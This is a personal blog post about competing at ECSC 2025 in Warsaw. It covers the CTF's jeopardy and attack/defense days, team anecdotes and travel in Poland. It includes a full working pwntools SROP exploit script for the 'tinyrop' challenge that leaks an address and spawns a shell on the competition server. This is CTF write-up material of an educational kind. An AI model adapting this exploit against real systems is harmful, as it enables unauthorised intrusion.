ECSC in Warsaw, Poland
We're back baby!!! For ECSC 2025 in Poland!
We... actually won?!

(The guest bracket, that is. We got 2nd overall... damn Italy...)
What?!
Whenever I look at my previous posts I am struck by how poorly they convey exactly WHAT these events are... ECSC (European Cyber Security Challenge) is a CTF, capture the flag! Which means 99% of the actual experience looks like this:

It's a big stadium with a bunch of lights and you stare at your computer and solve challenges. Somehow I have written a few of these without actually including a photo like that.
But yeah, I didn't expect us to do so well. It was a lot of fun too!
Poland was very cool. I had never been to an eastern european country but it was kind of exactly what I expected. Kind of Germany-looking, kind of Soviet Union looking. I dunno, I'm not a histolographer.

The competition
The competition was supremely well run. I didn't write anything about Italy, which was ECSC 2024, but their administration of the event was pretty close to flawless (the worst thing was the A/D scoreboard coming down for like one or two ticks). Poland was pretty close to this! Which is an extremely high bar. I had no major issues.
The food, I thought, was fantastic, even though the lines were insane and bottlenecked on two small doors. One day there was just a massive collection of pierogies (dumplings), and I thought almost all of them were delicious, especially the apple one, the cheese one, not sure. Other people on the team felt very strongly that these pierogies were an affront to god, but I think they just needed to stop expecting asian-style dumplings.
For the actual event, we were generally mad about having to use IPv6 during A/D, and I had to enable IPv6 on my laptop (wtf?).

Our infrastructure guy: "Yeah everything is fucked with IPv6..." Me: "Do you need any help with anything...?" (very worried that we will be cooked on tooling) Him: "Nah I'm working through it right now..." I peek at his screen and see several Claude Codes flying. I back away, knowing that his GCP networking problem is between him and God. To my left, unvariant is absolutely crushing osu!mania.
Jeopardy
Per usual I am on pwn. I'm not actually very good at pwn. But I do love it. I did at least manage to not be an active burden, by solving tinyrop in ~three hours. I tunnel visioned really hard, because I thought, if I can't solve this, I am literally dead weight. Which is not a great mindset and probably negatively impacted my time to solve.
But it was a pretty fun challenge! It was a ROP in a uh, ridiculously small binary. I worked with eth007 on it, and he had the key insight that you could jump into a dec rdx to make it a dec edx and get a valid wraparound size for us to pass into read. Here is my solve script:
import time
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.binary = binary = ELF("./tiny-rop", checksec=False)
p = remote("tiny-rop.ecsc-task.pl", 1337)
def s(i):
p.sendline(i)
def r(u=b"\n"):
return p.readuntil(u)
def rs(s):
return p.read(s)
def snl(i):
p.send(i)
p.clean()
snl(b"\x20")
leak = u64(rs(6) + b"\x00\x00")
leak -= 0x28
again = leak+0x20
syscall_ret = leak+0x49
rsp_to_rsi = leak+0x41
read = leak+0x37
dec_forever = leak+0x12
success(f"leak {hex(leak)}")
# get infini-read
payload = p64(leak+0x12) + p64(leak+0x16) + p64(leak+0x41)
snl(payload)
time.sleep(1)
# read into shit /bin/sh
writable = leak + 0x1000
frame = SigreturnFrame()
frame.rax = 0x0
frame.rdi = 0x0 # fd
frame.rsi = writable
frame.rdx = 0x1000
frame.rip = syscall_ret
frame.rsp = writable
payload = p64(leak+0x41)
payload += p64(0)
payload += bytes(frame)
snl(payload)
pause()
# prepend read of 15 bytes. read to stack?
payload = p64(syscall_ret)
payload += b"\x00"*7
snl(payload)
pause()
# new stack
frame = SigreturnFrame()
frame.rax = 0x3b # execve syscall number
frame.rdi = writable+0x108 # address of /bin/sh string
frame.rip = syscall_ret # syscall gadget
frame.rsp = writable
payload = p64(leak+0x41)
payload += p64(0)
payload += bytes(frame)
payload += b"A"*(0x100-len(payload))
payload += b"/bin/sh"
snl(payload)
pause()
# prepend read of 15 bytes. read to stack?
payload = p64(syscall_ret)
payload += b"\x00"*7
snl(payload)
pause()
snl(payload)
p.interactive()
It's crazy how much better LLMs have gotten at solving CTF challenges since then (as I write this now in March... err.. May 2026). tinyrop is instantly sloppable now, and it doesn't even use my solution. (No, there were no public writeups... until now). I am really curious what future events are going to do w.r.t., the whole LLM thing. I have some further thoughts on this that I shan't elaborate upon.
unvariant, legendary contemporary pwner, absolutely slaughtered the kernel and qemu escape challenges, and after that, the category was cleared. We spent the rest of the time trying and failing to help with hardware. I think we could have gotten the hardware one, which ended up being implementing SPI, if my brain was not so fried.
We did really well on jeopardy overall, first blooding a lot of easy challs (with LLMs...) and smoking most of the rest. We got 2nd!

People were pretty upset and thought we (team USA) had basically slopped like every single challenge lol, which is definitely not true. I did try to slop tinyrop, but at that time GPT was hopelessly lost. The perception that we slopped everything led to a very strong anti-US team sentiment at future events, especially from the Australia team. But maybe the Australians were right and we should ban AI?! We'll see at the next ICC, which is hosted in Australia.
Future edit: At ICC Australia we did end up mostly banning AI. I also ended up talking to the Oceania team a bit and they were really cool and friendly :)
Attack/Defense
A/D day had some comically deranged services. My favorite one is one I didn't work on, heavensent, which uses Unreal Engine/AngelScript, and GNU Radio Companion(!!). For an A/D service!
https://github.com/Attacking-Lab/ecsc2025-service-heavensent
Our team's Reverse Engineering Unibrain (flocto/oh_word/gabe) got first blood at like, 6 hours into the day. Their exploit was actually pretty simple, but the reversing to get to that point was "impossible", to quote flocto. Once we had our exploit on the wire, Poland turned it around instantly and did not require the insane setup that we did, so they were actually more consistent. To quoth quasar quoting someone else (zel):

This is probably my fault since I am in charge of the exploit thrower/exploit farm for the team. We had a super jank, double SSH tunnel setup that was best effort and not guaranteed to run on all flagIDs. I'm still not exactly sure what we should have improved here actually, I think probably the SSH tunnels driving was superfluous and I should have instead had an interface to lease a flagID and return a flag within a given timeout, so the thrower would still act as the flagID manager.
Me and unvariant were in charge of jitterish, which I kind of inted on. Our only successes were reflecting another team's sploit and adding network blocks. I was onto something with the JSON insertion in the user profile, but didn't finish it in time. unvariant went super deep in a libc pseudo-wrapper but we pulled someone else's exploit before we were able to get that working. After the event, I asked the other teams what their sploits were, relayed that to unvariant, and he spent the next 30 minutes reading the codebase until finally closed his laptop and said "Ok I understand everything" like some kind of superintelligence.
This was that service: https://github.com/Attacking-Lab/ecsc2025-service-Jitterish
We were able to first blood this service without knowing anything, because it was not either of us who submit the flag... I won't say how that happened, but it was cool! (And not against the rules lol.)

Our thrower's page:

I would say that our biggest upgrades over past years were, unvariant, more reliable tooling, and really good teamwork? As cheesy as that sounds. I am convinced that the RE Unibrain is one person.
More Poland
Can you believe they have a COMEBUYTEA in Poland? Like what??

I always feel that I am much more interested in boba than anyone else... In one instance, I went solo to retrieve bubble tea, promising to sprint and make it to the venue in time for the event. And due to great bus RNG and competely socially acceptable level of sprinting, I actually beat the main team there. Thanks Poland transit!
Speaking of, apparently the event organizers made a deal with the Country of Poland and, as a competitor, you get a free ride on all forms of transit, and give us no additional info about that at the time. But I was totally willing to gamble on that being true, since they had never checked my ticket on the lightrail. But as luck would have it, a ticket checker spawned in right after the first time I did not buy a ticket. I thought I was destined for Poland prison. As the ticket checker approached (menacingly), I grasped at straws and began pulling the badge out of my bag-- no way that would work, he would have to be aware of this event-- but as soon as he saw the badge, he said "Oh, ok, thanks" and walked past us. HOW?! Do they seriously memorize the badges of every ongoing event? If I try the same thing a year later would it work again? Can anyone just flash a badge? I still have no idea..
After the event, we went around and visited Krakow. I was on a mini-quest (gotta make your own quests) to find oscypek, which from the Poland wikipedia page I thought was a MUCH bigger deal than it actually was. I could not for the life of me pronounce "oscypek" correctly. I tried to explain what I was looking for to the helpful waiter for at least a minute before the said, "Ohhh! OsCYpek!", which sounded like exactly what I was saying. Certainly some Polish phonemes had been garbage collected in my brain before that point.
I did eventually find some though, it was great, very rich and smokey. I purchased it from seemingly the only woman in Poland who does not speak any English, which I enjoyed, as it let me buy into the fantasy that the world was not homogeneously globalized.

Then I was outta there. Anyway, yeah, we won our guest category and got 2nd overall! Was pretty cool. Thanks Poland :)